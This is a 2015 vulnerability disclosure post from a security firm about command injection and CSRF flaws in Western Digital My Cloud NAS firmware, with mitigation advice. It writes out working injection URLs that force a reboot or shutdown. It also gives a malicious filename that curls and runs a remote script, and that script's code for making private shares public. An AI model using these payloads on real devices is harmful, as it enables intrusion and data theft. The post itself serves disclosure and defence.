Command Injection in the WD My Cloud NAS

Introduction

The Western Digital My Cloud (“Personal Cloud Storage”), or WD My Cloud for short, is a consumer NAS product. The idea behind this device is for a household, team, or small-organization to have full and complete control over their data in a private cloud environment without having to trust their data storage to multi-tenanted services hosted by other companies. Their data can be accessed from a desktop behind a private LAN or a smartphone located on the other side of the world. Given frequent news stories of major hacks and database leaks and the exposure of private information, personal NAS devices are ideal solutions for many looking for more privacy.

The WD My Cloud is predominantly displayed at major stores such as Costco, Walmart, Fry’s Electronics, etc. so perhaps most of our readers have seen this or know someone that owns one. It’s an easy product to purchase and configure for multi-tenanted use within a household or small organization. With heavy advertising, a decent price-point, and easy setup there is an appeal to own one.

This post is a brief outline of remote command injection and cross-site request forgery (“CSRF”) vulnerabilities discovered while conducting research into the WD My Cloud device. These and a number of other issues have been reported to Western Digital and updates are in the process of being rolled out for the My Cloud, My Cloud Mirror, EX2, DL2100, and other devices as of September 11th 2015. The firmware will be made publicly available for all users and interested parties by the end of September 2015.

Acknowledgements

VerSprite would like to acknowledge Western Digital for it’s openness and willingness to handle all reported vulnerabilities as well as take the initiative in improving their security posture for their customers. When the issues were initially reported to the support team they were quickly escalated up the chain to the Western Digital security engineers and device architects. They not only showed willingness to acknowledge the findings but also took the time to understand the root causes and design strategies to avoid them in the future. A kind statement by Western Digital regarding these discoveries can be found here and in the references.

Prerequisite Information

The command injection and CSRF vulnerabilities were discovered in firmware versions 04.01.03-421 and 04.01.04-422, with the latter being the most current version as of September 11th 2015. Previous versions may be affected as well as other WD NAS products.

The WD My Cloud runs on Debian Linux and interaction with it generally comes in two default forms:

1. The administrative UI. This is accessible through http://wdmycloud.local/UI/.
2. The RESTful API.  This is found at http://wdmycloud.local/api/ and used by the administrative UI and application clients.

All of the source code for these are located in /var/www/ on the device, which one can get to by enabling SSH access to the device through the administrative UI. The web application scripts typically execute scripts on the device to accomplish many goals such as adding or removing users, checking disk space, rebooting the device, and more. These scripts are located in /usr/local/sbin/. Many scripts require root level access so www-data has been added to the sudoers file.

Command Injection

Discovering the Flaw

With access to the device via SSH (which can be enabled from the administrative UI), VerSprite searched the PHP source code within /var/www for references to functions that would execute commands on the host operating system. It was discovered that the custom function exec_runtime in /var/www/rest-api/api/Core/init_autoloader.php is designed to accomplish this by making a call to the PHP function exec.

In some instances user input via GET or POST parameters to PHP scripts make their way to exec_runtime when executing bash scripts. In a few of these instances, user input makes its way to the exec function without being sanitized. For example, one such vulnerable input was found in /var/www/rest-api/api/SafePoint/src/SafePoint/Controller/SafePointGetStatus.php:

By tracing through the source code it was found that the handle URL query parameter is passed directly into the command line to the safeptExec.pl script without proper sanitization. To show this, in a CSRF attack an authenticated administrative user making a request to the following URL will force the device to reboot:

• http://wdmycloud.local/api/1.0/rest/safepoint_getstatus?handle=$(sudo reboot)&action=update

The handle parameter is not sanitized nor checked against a whitelist of valid values and ends up in the $opts variable. When the exec_runtime function is called, a command similar to the below is made to the operating system:

• sudo perl <INCLUDE_PATH> /usr/local/NSPT/WDSafe/safeptExec.pl –handle=$(sudo reboot)&action=update

The string $(sudo reboot) will be interrupted by the operating system to mean “execute the enclosed sudo reboot command before processing the rest of the command.” Thus, the device reboots.

Exploiting the Flaw with Large Files

When the device administrator configures the product he can add users to the device, configure their folder permissions, and grant or restrict remote access to the device and the files they are authorized to access. Remote access is typically done through the client application, which is available for Windows, Mac, Android, and iPhone. This client application is just a GUI front-end for the RESTful API mentioned before. VerSprite found that any authorized remote user of the device can remotely execute commands and steal files belonging to other users regardless of their permissions by abusing functionality within the RESTful api and the client applications. Worse yet, the attacking user will have root access to the NAS in a private internal network, so more can be at stake since an attacker can use this to pivot through the network. It should be pointed out that this is not a problem in the client application but rather a problem with the RESTful API that the client application uses.

To retrieve statistical information on files larger than 2GB a call to the fstatLfs function is made, which is defined in /var/www/rest-api/api/Common/includes/util.inc. Within this function, it was discovered that filenames are passed to the command line through double quotes rather than single quotes. Double quotes still allow strings within them to be interpreted as commands.

Thus, exploitation is as simple as remotely uploading a 2GB file with a malicious filename and forcing the device to call this function, which can be done by making use of the client application. In the following video demonstration, the current user can only see the directories James and Public. However, by uploading a 2GB file called $(sudo curl 192.168.0.226 -o makeAllPublic.sh && sudo bash makeAllPublic.sh).txt all “private” folders can become public.

The content of makeAllPublic.sh is the following:

#!/bin/bash

while read share;

do

    echo UPDATE UserShares SET public_access="true" WHERE share_name="$share"";" | sqlite3 /usr/local/nas/orion/orion.db;

done < <(bash /usr/local/sbin/getShares.sh private)

Now, what if an attacker does not have authorized access to the device but happens to be on the local area network (or worse, the WD My Cloud has SMB open to the Internet)? This same issue is also exploitable but requires a bit more patience. Fortunately for an attacker a public folder, called Public, exists by default and is typically accessible as a network share. An attacker can create the 2GB file with the malicious name, copy it over to the public folder, and ask wait for an authorized user to browse the Public folder from their PC, Mac, Android phone, or iPhone using the WD client application.

Exploiting the Flaw with Social Engineering, CSRF, and WebRTC

The above scenario assumed that the My Cloud device has remote access from the Internet enabled and that credentials are known either by legitimate users or an attacker. What if remote access to the My Cloud has been disabled so that only users on the same LAN can access it? What if the attacker is on another network? Well, not all hope is lost here. Unfortunately the web applications on the WD My Cloud device also suffer from cross-site request forgery (CSRF) vulnerabilities. This means that the web applications do not differentiate between genuine and forged HTTP requests. Combining this with the command injection vulnerabilities, an attacker may have a good chance of remotely gaining access to the device and compromise data.

For example, an attacker that has complete knowledge of the WD My Cloud’s hostname or IP addresses can ask an authenticated administrator to click on the following link:

• http://wdmycloud.local/api/1.0/rest/safepoint_getstatus?handle=$(sudo shutdown -h now)&action=update

This URL would shutdown the device and require a physical power cycle. This command can be replaced with any valid OS command, including those that would allow reverse shell access.

However, the above situation is ideal and in practice unlikely to work. First, a valid session cookie is required to exploit the above vulnerability. However, most users’ interaction with the My Cloud device isn’t with the administrative UI but with the desktop/mobile applications or the online portal wd2go.com. So, a valid session cookie isn’t likely to exist to exploit the vulnerability. Secondly, an attacker may not know the internal IP address of the device and it’s likely that the hostname has been changed by the user. Given these reasons, CSRF exploitation alone is unlikely.

Social engineering and WebRTC can be added to the mix to get around the above limitations when trying to perform a CSRF attack. An attacker can send a victim an e-mail with a link and entices the victim to click on it. After clicking on it, the victim will be presented with a warning message that says their WD My Cloud is damaged and that they must login to correct this issue:

After submitting the credentials, a PHP script will generate an HTML document that will:

1. Utilize WebRTC to uncover the internal network address range.
2. Spray login requests across the LAN to generate a valid browser session with the My Cloud.
3. Exploit the vulnerable URL by spraying the LAN with HTTP requests, one of which will hit the My Cloud with a valid session cookie.

Below is a proof-of-concept to demonstrate remote exploitation with CSRF and WebRTC.

Mitigation

What can the average user of the WD My Cloud and other products to do reduce the likelihood of becoming a victim of this attack? The surest way to resolve these exploits is to ensure that your WD My Cloud or any other product you own is updated to the latest firmware. This can be done by logging into your device and checking the availability of updates. However, not all devices will have an update available until September 21st 2015. So until your device is updated the following strategies can help reduce the likelihood of a successful attack:

1. Never click on links or download file attachments in e-mails or anywhere on the Internet from people or sources you do not know or trust. And even if you do trust them, verify the authenticity of the request.
2. Never submit credentials without first verifying the authenticity of the request. Who is asking? Why are they asking? Etc.
3. Disable WebRTC in your browsers. In FireFox this can be done with the Disable WebRTC plugin. In Chrome use the WebRTC Block plugin.
4. Restrict access to the My Cloud device to only trusted users that need access to it. Any authorized user of this device with enough technical knowledge can gain remote access to every file.
5. Disable remote access to the device if it is not needed.
6. Place the WD My Cloud on a separate subnet away from client machines. Going further, keep the device behind a firewall. If you see your device on Shodan then secure your network!

Resources

• http://community.wd.com/t5/My-Cloud/Potential-Security-Vulnerabilities-with-My-Cloud-Personal-Cloud/td-p/898578 – Statement from Western Digital regarding potential security vulnerabilities with My Cloud Personal Cloud Systems
• https://dl.dropboxusercontent.com/u/1878671/enumhosts.html – An example of WebRTC being used to obtain local network addresses. Also what the PoC was based off of.
• https://www.owasp.org/index.php/Command_Injection – OWASP information on command injection vulnerabilities.
• http://support.wdc.com/product/download.asp?wdc_lang=en – List of all Western Digital products and available downloads (including firmware).

VerSprite Security Operations

The focus of SecOps services revolves around security engineering for Cloud and On-Prem environments (which includes Managed Hosting or CoLo environments).

Our group offer a range of managed security services aimed at providing a service that addresses client challenges across vulnerability management, threat analysis, technical remediation, system auditing/ hardening, and more. VerSprite’s SecOps →